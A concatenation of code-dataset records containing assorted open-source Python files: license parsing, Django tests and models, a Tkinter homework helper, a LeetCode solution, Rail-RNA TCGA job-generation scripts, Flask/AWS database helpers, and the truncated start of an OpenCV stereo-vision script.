2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache 2\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache v2\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache-2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"ASF 2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License Version 2\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License Version 2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License (v2.0)\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"The Apache License, Version 2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache 2.0 License\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License, version 2.0\"] = \"The Apache Software License, Version 2.0\"\n# The 3-Clause BSD License\nlicense_dict[\"3-Clause BSD License\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"New BSD License\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"The New BSD License\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"Modified BSD License\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"BSD Licence 3\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"BSD License 3\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"BSD 3-clause\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"BSD-3-Clause\"] = \"The 3-Clause BSD License\"\nlicense_dict[\"The BSD 3-Clause License\"] = \"The 3-Clause BSD License\"\n# The 2-Clause BSD License\nlicense_dict[\"The 2-Clause BSD License\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"BSD 2-Clause License\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"Simplified BSD License\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"FreeBSD License\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"BSD License\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"BSD Licence\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"BSD\"] = \"The 2-Clause BSD License\"\nlicense_dict[\"The BSD License\"] = \"The 2-Clause BSD License\"\n# The MIT License\nlicense_dict[\"The MIT License\"] = \"The MIT License\"\nlicense_dict[\"MIT License\"] = \"The MIT License\"\nlicense_dict[\"MIT license\"] = \"The MIT License\"\n# Eclipse Public License - v1.0\nlicense_dict[\"Eclipse Public License 1.0\"] = \"Eclipse Public License - v1.0\"\nlicense_dict[\"Eclipse Public License - v 1.0\"] = \"Eclipse Public License - v1.0\"\n# Eclipse Public License - v2.0\nlicense_dict[\"Eclipse Public License 2.0\"] = \"Eclipse Public License - v2.0\"\n# GNU General Public License\nlicense_dict[\"GNU General Public License\"] = \"GNU General Public License\"\n# GNU General Public License, version 2\nlicense_dict[\"The GNU General Public License, Version 2\"] = \"GNU General Public License, version 2\"\n# Creative Commons Zero\nlicense_dict[\"cc0\"] = \"Creative Commons Zero\"\nlicense_dict[\"CC0\"] = \"Creative Commons Zero\"\n# CDDL + GPLv2 with classpath exception\nlicense_dict[\"CDDL + GPLv2 with classpath exception\"] = \"CDDL + GPLv2 with classpath exception\"\nlicense_dict[\"CDDL/GPLv2+CE\"] = \"CDDL + GPLv2 with classpath exception\"\n# Common Development and Distribution License (CDDL) v1.0\nlicense_dict[\"Common Development and Distribution License (CDDL) v1.0\"] = \"Common Development and Distribution License (CDDL) v1.0\"\nlicense_dict[\"CDDL 1.0\"] = \"Common Development and Distribution License (CDDL) v1.0\"\n# The JSON License\nlicense_dict[\"The JSON License\"] = \"The JSON License\"\n# CUP license\nlicense_dict[\"CUP License (MIT License)\"] = \"CUP License\"\n# Eclipse Distribution License - v1.0\nlicense_dict[\"Eclipse Distribution License - v 1.0\"] = \"Eclipse Distribution License - v1.0\"\nlicense_dict[\"EDL 1.0\"] = \"Eclipse Distribution License - v1.0\"\n# Public Domain\nlicense_dict[\"Public Domain\"] = \"Public Domain\"\n\n#########################################################\n\nlicense_file_dict = {}\nlicense_file_dict[\"The 3-Clause BSD License\"] = \"licenses/LICENSE-BSD-3.txt\"\nlicense_file_dict[\"The 2-Clause BSD License\"] = \"licenses/LICENSE-BSD-2.txt\"\nlicense_file_dict[\"The MIT License\"] = \"licenses/LICENSE-MIT.txt\"\nlicense_file_dict[\"Eclipse Public License - v1.0\"] = \"licenses/LICENSE-EPL-1.0.txt\"\nlicense_file_dict[\"Eclipse Public License - v2.0\"] = \"licenses/LICENSE-EPL-2.0.txt\"\nlicense_file_dict[\"Eclipse Distribution License - v1.0\"] = \"licenses/LICENSE-EDL-1.0.txt\"\nlicense_file_dict[\"Creative Commons Zero\"] = \"licenses/LICENSE-CC0.txt\"\nlicense_file_dict[\"CDDL + GPLv2 with classpath exception\"] = \"licenses/LICENSE-CDDL.txt & licenses/LICENSE-GPLv2-CE.txt\"\nlicense_file_dict[\"Common Development and Distribution License (CDDL) v1.0\"] = \"licenses/LICENSE-CDDL.txt\"\nlicense_file_dict[\"CUP License\"] = \"licenses/LICENSE-CUP.txt\"\nlicense_file_dict[\"Public Domain\"] = \"licenses/LICENSE-PD.txt\"\n\nclass LicenseParser:\n\n def __init__(self, license_file, out_file):\n self.license_file = license_file\n self.out_file = out_file;\n self.out_dict = dict()\n\n def parse_and_output(self):\n for line in open(self.license_file):\n #print line\n line = line.strip()\n if not len(line) or line.startswith(\"Lists of\"):\n continue\n r = re.search(r'\\((.+)\\) (.+) \\((.+) - (.+)\\)', line)\n license_alias = r.group(1)\n project_name = r.group(2)\n package_name = r.group(3)\n url = r.group(4)\n\n #print self.convert_to_standard_name(license_alias)\n #print project_name;\n #print package_name;\n #print url\n\n self.assemble_output(license_alias, project_name, package_name, url);\n\n self.save_to_file()\n\n def save_to_file(self):\n f = open(self.out_file, 'w');\n\n sorted_out_dict = collections.OrderedDict(sorted(self.out_dict.items()))\n for license_name in sorted_out_dict.keys():\n license_file_location = license_file_dict.get(license_name, \"unknown\")\n f.write(license_name + \" -- \" + license_file_location + \"\\n\")\n\n sorted_out_dict_2 = collections.OrderedDict(sorted(self.out_dict[license_name].items()))\n for project_name in sorted_out_dict_2.keys():\n f.write(\" * \" + project_name + \":\\n\")\n sorted_out_dict_3 = sorted(self.out_dict[license_name][project_name])\n for package in sorted_out_dict_3:\n f.write(\" - \" + package + \"\\n\")\n f.write(\"\\n\")\n f.close()\n\n def assemble_output(self, license_alias, project_name, package_name, url):\n standard_name = self.convert_to_standard_name(license_alias);\n if standard_name in self.out_dict:\n if project_name in self.out_dict[standard_name]:\n self.out_dict[standard_name][project_name].add(package_name + \" (\" + url + \")\")\n else:\n self.out_dict[standard_name][project_name] = set()\n self.out_dict[standard_name][project_name].add(package_name + \" (\" + url + \")\")\n else:\n self.out_dict[standard_name] = dict()\n self.out_dict[standard_name][project_name] = set()\n self.out_dict[standard_name][project_name].add(package_name + \" (\" + url + \")\")\n\n def convert_to_standard_name(self, alias):\n if alias in license_dict:\n return license_dict[alias]\n else:\n license_dict[alias] = alias;\n return alias\n\ndef main():\n license_file = sys.argv[1]\n out_file = sys.argv[2]\n license_parser = LicenseParser(license_file, out_file);\n license_parser.parse_and_output();\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"apache/doris","sub_path":"dist/tools/parse_licenses.py","file_name":"parse_licenses.py","file_ext":"py","file_size_in_byte":7995,"program_lang":"python","lang":"en","doc_type":"code","stars":10091,"dataset":"github-code","pt":"35"} +{"seq_id":"2925031480","text":"import json\n\nfrom django.urls import reverse\nfrom rest_framework.test import APITestCase\n\nfrom cities.models import City, State\n\n\nclass CityViewTestCase(APITestCase):\n def setUp(self):\n self.state = State.objects.create(code=1, name=\"State\", abbr=\"st\")\n self.city = City.objects.create(\n code=1, name=\"City\", search_name=\"city\", state=self.state, lat=10.550975, lon=34.644608\n )\n\n def test_correct_fields_list(self):\n \"\"\"Verify the correct serializer is being used\"\"\"\n response = self.client.get(reverse(\"api:city-list\"))\n\n response_json = json.loads(response.content.decode(\"utf-8\"))\n expected = [{\"code\": 1, \"name\": \"City\", \"search_name\": \"city\", \"lat\": 10.550975, \"lon\": 34.644608}]\n\n self.assertEqual(1, len(response_json[\"results\"]))\n self.assertEqual(expected, response_json[\"results\"])\n\n def test_filter_city(self):\n \"\"\"Should filter the cities based on the query parameters\"\"\"\n City.objects.create(\n code=2, name=\"New City\", search_name=\"new city\", state=self.state, lat=40.730610, lon=-73.935242\n )\n response = self.client.get(reverse(\"api:city-list\"), {\"state\": 1, \"city\": \"new\"})\n response_json = json.loads(response.content.decode(\"utf-8\"))\n expected = [\n {\"code\": 2, \"name\": \"New City\", \"search_name\": \"new city\", \"lat\": 40.730610, \"lon\": -73.935242}\n ]\n\n self.assertEqual(1, len(response_json[\"results\"]))\n self.assertEqual(expected, response_json[\"results\"])\n","repo_name":"jllorencetti/pets","sub_path":"pets/api/tests/test_view_city.py","file_name":"test_view_city.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"35"} +{"seq_id":"20170021612","text":"#!/usr/bin/env python\n\ndef preparePackage( package, sourceRoot = \".\" ):\n package.changeRoot( sourceRoot )\n \n #--------------------------------------------------------\n # now add python package luban\n #\n #journal\n package.addPurePython(\n sourceDir = 'luban',\n destModuleName = 'luban' )\n\n return package\n\n\nif __name__ == \"__main__\":\n #------------------------------------------------------------\n #init the package\n from distutils_adpt.Package import Package\n package = Package('luban', '0.001')\n\n preparePackage( package )\n\n package.setup()\n\n","repo_name":"danse-inelastic/pyregui","sub_path":"luban/setup_luban.py","file_name":"setup_luban.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6153338024","text":"from tkinter import *\nfrom tkinter.ttk import Notebook\n\nfrom chatgpt import api_call\nfrom calculator import parse_expr\n\n\ndef temp():\n \n thesis = thesis_input.get(1.0 , END)\n essay = api_call(thesis)\n essay_lbl.config(state=\"normal\")\n essay_lbl.delete(1.0, END)\n essay_lbl.insert(END, essay)\n essay_lbl.config(state='disabled')\n\ndef calculate(symbol):\n global expr, expr_lbl\n if symbol == \"SOLVE\":\n result = parse_expr(expr)\n expr_lbl.config(text=result)\n expr = \"\"\n return\n symbol = str(symbol)\n expr+=symbol\n expr_lbl.config(text=expr)\n \ndef calc(key):\n # print(notebook.index(notebook.select()))\n if notebook.index(notebook.select()) != 1:\n return\n calculate(key.keysym)\n\nexpr = \"\"\nwindow = Tk()\nwindow.geometry(\"400x400\")\nwindow.title(\"Homework Do-er 9000\")\n\n\nnotebook = Notebook(window)\nnotebook.pack(fill=\"both\", expand=TRUE)\n\n\nenglish_note = Notebook()\n\n\n# Essay Writer\nessay_frame = Frame()\n\nthesis_input = Text(essay_frame, height=2, width=40)\nthesis_input.pack()\n\nsubmit_btn = Button(essay_frame, text=\"Write Essay\", command=temp)\nsubmit_btn.pack(pady=5)\n\nLabel(essay_frame, text=\"Final Essay: \").pack(pady=25)\n\nessay_lbl = Text(essay_frame, bg=\"white\", height=30, state=\"disabled\")\nessay_lbl.pack(fill=\"both\", padx=5, pady=5)\n\nenglish_note.add(essay_frame, text=\"Essay Writer\")\n\nnotebook.add(english_note, text=\"English\")\n#Calculator \n#This is gonna be so fucking painful \n\nframe2 = Frame()\nkey_frame = Frame(frame2)\n\nwindow.bind(\"\", calc)\n\nexpr_lbl = Label(frame2, text=\"\", width=20, bg=\"white\")\nexpr_lbl.pack()\n\nButton(key_frame, text=\"1\", command=lambda: calculate(1)).grid(row=5, column=1)\nButton(key_frame, text=\"2\", command=lambda: calculate(2)).grid(row=5, column=2)\nButton(key_frame, text=\"3\", command=lambda: calculate(3)).grid(row=5, column=3)\nButton(key_frame, text=\"4\", command=lambda: calculate(4)).grid(row=5, column=4)\nButton(key_frame, text=\"5\", command=lambda: calculate(5)).grid(row=5, column=5)\nButton(key_frame, text=\"6\", command=lambda: calculate(6)).grid(row=5, column=6)\nButton(key_frame, text=\"7\", command=lambda: calculate(7)).grid(row=5, column=7)\nButton(key_frame, text=\"8\", command=lambda: calculate(8)).grid(row=5, column=8)\nButton(key_frame, text=\"9\", command=lambda: calculate(9)).grid(row=5, column=9)\nButton(key_frame, text=\"0\", command=lambda: calculate(0)).grid(row=5, column=10)\n\nButton(key_frame, text=\"+\", command=lambda: calculate(\"+\")).grid(row=6, column=1)\nButton(key_frame, text=\"-\", command=lambda: calculate(\"-\")).grid(row=6, column=2)\nButton(key_frame, text=\"*\", command=lambda: calculate(\"*\")).grid(row=6, column=3)\nButton(key_frame, text=\"/\", command=lambda: calculate(\"/\")).grid(row=6, column=4)\nButton(key_frame, text=\"^\", command=lambda: calculate(\"^\")).grid(row=6, column=5)\nButton(key_frame, text=\"(\", command=lambda: calculate(\"(\")).grid(row=6, column=6)\nButton(key_frame, text=\")\", command=lambda: calculate(\")\")).grid(row=6, column=7)\n\nButton(key_frame, text=\"SOLVE\", command=lambda: calculate(\"SOLVE\")).grid(row=6, column=8)\n\nkey_frame.pack()\n\n\n\nnotebook.add(frame2, text=\"Calculator\")\n\nwindow.mainloop()","repo_name":"TheCodingude/Homework-Solver","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24170183299","text":"#el juego consiste en crear personajes un juego y que esos personajes se puedan fusionar\n#para formar personajes mas poderosos que tengan mas poder\n#para ello cambiar el comportamiento del operador \"+\" para cuando los personajes se fucionen creen uno con sus habilidades se eleven al cuadrado\n\nclass Personaje:\n def __init__(self, nombre, fuerza, poder):\n self.nombre = nombre\n self.fuerza = fuerza\n self.poder = poder\n def __repr__(self):\n return f'{self.nombre} fuerza: {self.fuerza} poder: {self.poder}'\n def __add__(self, otroPJ):\n nuevo_PJ = self.nombre + \"-\" + otroPJ.nombre\n nuevo_FZ = round(((self.fuerza + otroPJ.fuerza)/2)**1.5)\n nuevo_PW = round(((self.poder + otroPJ.poder)/2)**1.5)\n return Personaje(nuevo_PJ, nuevo_FZ, nuevo_PW)\n \n\ngoku = Personaje('Goku', 100, 150)\nvegeta = Personaje('Vegeta', 80, 120)\n\ngogeta = goku + vegeta\nprint(gogeta)","repo_name":"Nico337-ctrl/DocumentacionPython","sub_path":"POO/Ejercicios3/ejercicio3.py","file_name":"ejercicio3.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"13901689430","text":"# https://leetcode.com/problems/letter-combinations-of-a-phone-number/description/\n\nclass Solution(object):\n def __init__(self):\n self.mapping = {\n \"2\": \"abc\",\n \"3\": \"def\",\n \"4\": \"ghi\",\n \"5\": \"jkl\",\n \"6\": \"mno\",\n \"7\": \"pqrs\",\n \"8\": \"tuv\",\n \"9\": \"wxyz\"\n }\n\n def letterCombinations(self, digits):\n \"\"\"\n :type digits: str\n :rtype: List[str]\n \"\"\"\n if not digits:\n return []\n\n combs = [\"\"]\n for d in digits:\n combs = [x+c for x in combs for c in self.mapping[d]]\n return combs\n \n","repo_name":"bkface/leetcode","sub_path":"python/done/17/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"40506246724","text":"from email.policy import default\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractUser\nimport os\nimport base64\nfrom studybuddy import settings\n# Create your models here.\n\n# creating our own User Model that inherits all the functionality of\n# inbuilt User Model\n\n\ndef image_as_base64(image_file, format='png'):\n \"\"\"\n :param `image_file` for the complete path of image.\n :param `format` is format for image, eg: `png` or `jpg`.\n \"\"\"\n print(\"img path \", image_file)\n if not os.path.isfile(image_file):\n return None\n\n encoded_string = ''\n with open(image_file, 'rb') as img_f:\n encoded_string = base64.b64encode(img_f.read())\n return 'data:image/%s;base64,%s' % (format, encoded_string.decode())\n\n\nclass User(AbstractUser):\n name = models.CharField(max_length=200, null=True)\n email = models.EmailField(unique=True, null=True)\n bio = models.TextField(null=True)\n # Note : Django ImageField in models relies on pillow library to process\n # the image. So make sure it is installed.\n # Also set the MEDIA_ROOT and MEDIA_URL in main app settings.\n avatar = models.ImageField(null=True, default=\"avatar.svg\")\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = []\n\n def get_avatar_base64(self):\n # settings.MEDIA_ROOT = '/path/to/env/projectname/media'\n return image_as_base64(self.avatar.path)\n\n\nclass Topic(models.Model):\n name = models.CharField(max_length=200)\n\n def __str__(self):\n return self.name\n\n\nclass Room(models.Model):\n host = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)\n # models.SET_NULl will set topic field to null if\n # topic object gets deleted.\n topic = models.ForeignKey(Topic, on_delete=models.SET_NULL, null=True)\n name = models.CharField(max_length=200)\n description = models.TextField(null=True, blank=True)\n participants = models.ManyToManyField(User,\n related_name=\"participants\",\n blank=True)\n # auto_now = True means the field will be updated every time there is\n # a change in model\n updated = models.DateTimeField(auto_now=True)\n # auto_now_add=True means the field will be updated only first time\n # when we make changes to our models\n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n # This will orderBy descending order of updated and created\n # without \"-\" will order it in ascending order\n ordering = ['-updated', '-created']\n\n def __str__(self):\n return self.name\n\n\nclass Message(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE,related_name=\"messages\")\n room = models.ForeignKey(Room, on_delete=models.CASCADE)\n body = models.TextField()\n updated = models.DateTimeField(auto_now=True)\n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n # This will orderBy descending order of updated and created\n # without \"-\" will order it in ascending order\n ordering = ['-updated', '-created']\n\n def __str__(self):\n return self.body\n","repo_name":"eknathyadav/Study-room","sub_path":"base/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6650407284","text":"#!/usr/bin/env python\n\"\"\"\ngen.py\n\nUses tcga_file_list.tsv to creates dummy manifest files and scripts for running\nRail-RNA on TCGA RNA-seq data hosted on S3 courtesy of Seven Bridges Genomics.\ntcga_file_list.tsv was obtained by running tcga_file_list.py in this\ndirectory; see README.md for details. Preprocess scripts use\ntrue_manifest.py, which reads a dummy manifest file with CGC storage paths and\nuses the CGC API to replace them with S3 URLs.\n\nWe ran\n\npython gen.py --s3-bucket s3://sb-rail-rna-mapreduce --region us-east-1\n --c3-2xlarge-bid-price 0.50 --c3-8xlarge-bid-price 1.90\n --prep-stack-names dbgap-us-east-1a dbgap-us-east-1b dbgap-us-east-1d\n dbgap-us-east-1e --align-stack-names dbgap-us-east-1a dbgap-us-east-1b\n dbgap-us-east-1d dbgap-us-east-1e\n --cgc-auth-token /path/to/cgc_authorization_token.txt\n\nand used Rail-RNA v0.2.4a. Note that /path/to/cgc_authorization_token.txt is\nthe path to a text file with a single line of text: the CGC authorization token\nwhich we obtained at https://cgc.sbgenomics.com/account/#developer. After\nthe manifests, preprocess, and align scripts were generated, we modified some\nso we could launch into VPC public subnets in different availability zones.\nWe created a total of five VPCs using the instructions at\nhttp://docs.rail.bio/dbgap/ . To simulate our setup, first use the\nCloudFormation template.\n\nhttps://github.com/nellore/rail/blob/v0.2.1/src/cloudformation/dbgap.template\n\nand name the stack \"dbgap\". Then create another four VPCs in different\navailability zones in us-east-1 using\n\nhttps://github.com/nellore/rail/blob/v0.2.1/src/cloudformation/\n dbgap_minus_cloudtrail.template\n\n, and name them \"dbgap-us-east-1a\", \"dbgap-us-east-1b\", \"dbgap-us-east-1c\", and\n\"dbgap-us-east-1d\". Each subnet accommodates up to ~65k IPs and is associated\nwith a given availability zone. We executed each prep_tcga_batch_.sh\nscript and waited for the job flow to finish before executing the corresponding\nalign_tcga_batch_.sh script. Sometimes, we changed the availability\nzone to which we submitted a job flow to minimize cost. (At a given time, the \nmarket price in one availability zone may be lower than in another.)\n\"\"\"\nimport random\nimport sys\nimport os\nfrom itertools import cycle\nimport re\n\nif __name__ == '__main__':\n import argparse\n # Print file's docstring if -h is invoked\n parser = argparse.ArgumentParser(description=__doc__, \n formatter_class=argparse.RawDescriptionHelpFormatter)\n # Add command-line arguments\n parser.add_argument('--s3-bucket', type=str, required=True,\n help=('path to S3 bucket in which preprocessed data and junction '\n 'data will be dumped; should be a secure bucket created '\n 'by following the instructions at '\n 'http://docs.rail.bio/dbgap/; ours was s3://rail-dbgap')\n )\n parser.add_argument('--region', type=str, required=True,\n help='AWS region in which to run job flows; we used us-east-1'\n )\n parser.add_argument('--c3-2xlarge-bid-price', type=float, required=False,\n default=0.20,\n help='bid price for each c3.xlarge instance; this instance '\n 'type is used for preprocessing data'\n )\n parser.add_argument('--c3-8xlarge-bid-price', type=float, required=False,\n default=1.20,\n help='bid price for each c3.8xlarge instance; this instance '\n 'type is used for aligning data'\n )\n parser.add_argument('--prep-stack-names', type=str, required=False,\n default='dbgap', nargs='+',\n help='stack name(s) for prep job flow; cycle through them'\n )\n parser.add_argument('--align-stack-names', type=str, required=False,\n default='dbgap', nargs='+',\n help='stack name(s) for align job flow; cycle through them'\n )\n parser.add_argument('--seed', type=int, required=False,\n default=78943,\n help=('seed for random number generator; random.shuffle is used '\n 'to shuffle the TCGA samples before dividing them up into '\n '--batch-count batches')\n )\n parser.add_argument('--tcga-file-list', type=str, required=False,\n default=os.path.join(\n os.path.dirname(os.path.abspath(__file__)),\n 'tcga_file_list.tsv'\n ),\n help='path to tcga_file_list.tsv generated by tcga_file_list.py'\n )\n parser.add_argument('--cgc-auth-token', type=str, required=True,\n help='path to text file containing CGC authorization token; '\n )\n parser.add_argument('--batch-count', type=int, required=False,\n default=30,\n help='number of batches to create; batches are designed to be '\n 'of approximately equal size'\n )\n args = parser.parse_args()\n manifest_lines = []\n with open(args.tcga_file_list) as tcga_file_list_stream:\n tcga_file_list_stream.readline() # header line\n for line in tcga_file_list_stream:\n tokens = line.strip().split('\\t')\n manifest_lines.append('\\t'.join(\n [tokens[1], '0', tokens[0]] # use GDC UUID as sample name\n ))\n random.seed(args.seed)\n random.shuffle(manifest_lines)\n os.chdir(os.path.dirname(os.path.abspath(__file__)))\n # Write all manifest files\n manifest_files = [[] for i in xrange(args.batch_count)]\n for i, manifest_index in enumerate(cycle(range(args.batch_count))):\n try:\n manifest_files[manifest_index].append(manifest_lines[i])\n except IndexError:\n # No more manifest lines\n break\n for i, manifest_file in enumerate(manifest_files):\n with open('tcga_batch_{}.manifest'.format(i), 'w') as manifest_stream:\n for line in manifest_file:\n print >>manifest_stream, line\n # Write all prep and align scripts\n prep_stack_name_cycle = cycle(args.prep_stack_names)\n align_stack_name_cycle = cycle(args.align_stack_names)\n for i in xrange(args.batch_count):\n with open('prep_tcga_batch_{}.sh'.format(i), 'w') as prep_stream:\n print >>prep_stream, (\n\"\"\"#!/usr/bin/env bash\nDIR=\"$( cd \"$( dirname \"${{BASH_SOURCE[0]}}\" )\" && pwd )\"\n# based on http://stackoverflow.com/questions/4632028/how-to-create-a-temporary-directory\nWORKDIR=$(mktemp -d)\n\n# deletes the temp directory\nfunction cleanup {{\n rm -rf $WORKDIR\n echo \"Deleted temp working directory $WORKDIR\"\n}}\n\n# register the cleanup function to be called on the EXIT signal\ntrap cleanup EXIT\ncat {manifest_file} | python $DIR/true_manifest.py \\\n--cgc-auth-token {cgc_auth_token} >$WORKDIR/{manifest_file}\nrail-rna prep elastic -m $WORKDIR/{manifest_file} --profile dbgap \\\n--secure-stack-name {stack_name} \\\n--core-instance-type c3.2xlarge --master-instance-type c3.2xlarge \\\n-o {s3_bucket}/tcga_prep_batch_{batch_number} \\\n-c 48 --core-instance-bid-price {core_price} \\\n--master-instance-bid-price {core_price} -f \\\n--max-task-attempts 10 --skip-bad-records --do-not-check-manifest \\\n--name TCGA_prep_batch_{batch_number}_job_flow\n\"\"\"\n ).format(manifest_file='tcga_batch_{}.manifest'.format(i),\n s3_bucket=args.s3_bucket,\n batch_number=i,\n core_price=args.c3_2xlarge_bid_price,\n stack_name=next(prep_stack_name_cycle),\n cgc_auth_token=args.cgc_auth_token)\n with open('align_tcga_batch_{}.sh'.format(i), 'w') as align_stream:\n print >>align_stream, '#!/usr/bin/env bash'\n print >>align_stream, (\n 'DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"'\n )\n print >>align_stream, (\n 'rail-rna align elastic -m $DIR/{manifest_file} '\n '--profile dbgap --secure-stack-name {stack_name} '\n '--core-instance-type c3.8xlarge '\n '--master-instance-type c3.8xlarge '\n '--junction-criteria .01,-1 '\n '-c 60 --core-instance-bid-price {core_price} '\n '--master-instance-bid-price {core_price} '\n '-i {s3_bucket}/tcga_prep_batch_{batch_number} '\n '-o {s3_bucket}/tcga_align_batch_{batch_number} '\n '-a hg38 -f -d jx,tsv,bed,bw,idx '\n '--max-task-attempts 6 '\n '--name TCGA_align_batch_{batch_number}_job_flow'\n ).format(manifest_file='tcga_batch_{}.manifest'.format(i),\n s3_bucket=args.s3_bucket,\n batch_number=i,\n core_price=args.c3_8xlarge_bid_price,\n stack_name=next(align_stack_name_cycle))\n","repo_name":"nellore/runs","sub_path":"tcga/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":8925,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"38"} +{"seq_id":"72906119790","text":"import sqlite3\n\nimport click\nfrom flask import current_app\nfrom flask import g\n\ndef get_db():\n \"\"\"Connect to the application's configured database. The connection\n is unique for each request and will be reused if this is called\n again.\n \"\"\"\n if \"db\" not in g:\n g.db = sqlite3.connect(\n current_app.config[\"DATABASE\"], detect_types=sqlite3.PARSE_DECLTYPES\n )\n g.db.row_factory = sqlite3.Row\n\n return g.db\n\n\ndef close_db(e=None):\n \"\"\"If this request connected to the database, close the\n connection.\n \"\"\"\n db = g.pop(\"db\", None)\n\n if db is not None:\n db.close()\n\n\ndef init_db():\n \"\"\"Clear existing data and create new tables.\"\"\"\n db = get_db()\n\n with current_app.open_resource(\"schema.sql\") as f:\n db.executescript(f.read().decode(\"utf8\"))\n\n\n@click.command(\"init-db\")\ndef init_db_command():\n \"\"\"Clear existing data and create new tables.\"\"\"\n init_db()\n click.echo(\"Initialized the database2.\")\n\n\ndef init_app(app):\n \"\"\"Register database functions with the Flask app. This is called by\n the application factory.\n \"\"\"\n app.teardown_appcontext(close_db)\n app.cli.add_command(init_db_command)\n\n\n\n# Use this code snippet in your app.\n# If you need more information about configurations\n# or implementing the sample code, visit the AWS docs:\n# https://aws.amazon.com/developer/language/python/\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\n\ndef get_secret():\n\n secret_name = \"db-rds-postgres\"\n region_name = \"us-east-1\"\n\n # Create a Secrets Manager client\n session = boto3.session.Session()\n client = session.client(\n service_name='secretsmanager',\n region_name=region_name\n )\n\n try:\n get_secret_value_response = client.get_secret_value(\n SecretId=secret_name\n )\n except ClientError as e:\n # For a list of exceptions thrown, see\n # https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html\n raise e\n\n # Decrypts secret using the associated KMS key.\n secret = get_secret_value_response['SecretString']\n\n # Your code goes here.\n","repo_name":"victorhcf/tinyfy","sub_path":"flaskr/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13209482552","text":"#!/usr/bin/env python\n#https://www.youtube.com/watch?v=8p2cH1qEBZQ\n#https://www.facebook.com/hamid.mehrdad.944/posts/109903260451140\n#[::-1] reverses the array\n#image.shape =(h,w),(r,c)\n\nimport sys\nif sys.version_info[0] >= 3:\n import PySimpleGUI as sg\nfrom PIL import Image\nimport cv2\nimport numpy as np\nfrom sys import exit as exit\nfrom matplotlib import pyplot as plt\nimport cvlib as cv\nfrom cvlib.object_detection import draw_bbox\nimport queue\nimport threading\nimport time\n\ndef SELECT_FILE(filename):\n\timport os\n\there = os.path.dirname(os.path.abspath(__file__))\n\treturn os.path.join(here,filename)\n\nvalues=[]\nMODE=''\noldEvent=capL=capR=MiddleImg=frameL=frameR=frame_grayL=frame_grayR=None\nWidth=200\nHeight=180\nCameraRecording=False\nnumDisparities=16; blockSize=15\nMiddleSource='combineCam'\nBASELINEF=13.4*6# 4.2mm, 6mm, 8mm Focal Length\nH_FRAME=480\nW_FRAME=640\nmask_image = np.zeros((H_FRAME,W_FRAME), np.uint8)\nmask_image_s = np.zeros((Height,Width), np.uint8)\nCOLOR_R,COLOR_L=(255,0,0),(0,255,0)\nroi_w,roi_h=70,110\nROI_L=ROI_R=template=np.zeros((roi_h,roi_w), np.uint8)\ncomparison_methods = ['cv2.TM_CCOEFF', 'cv2.TM_CCOEFF_NORMED', 'cv2.TM_CCORR','cv2.TM_CCORR_NORMED', 'cv2.TM_SQDIFF', 'cv2.TM_SQDIFF_NORMED']\n\nclass objectDetection():\n\tdef __init__(self, \tweights,config):\n\t\tself.weights=weights\n\t\tself.config=config\n\t\tself.tensorflowNet = cv2.dnn.readNetFromTensorflow(self.weights,self.config)\n\t\t\n\tdef detect(self,image):\n\t\trows, cols, channels = image.shape\n\t\tself.tensorflowNet.setInput(cv2.dnn.blobFromImage(image, size=(300, 300), swapRB=True, crop=False))\n\t\tnetworkOutput = self.tensorflowNet.forward()\n\t\tfor detection in networkOutput[0,0]:\t\t\t\n\t\t\tscore = float(detection[2])\n\t\t\tif score > 0.2:\t\t\t\t\n\t\t\t\tleft = detection[3] * 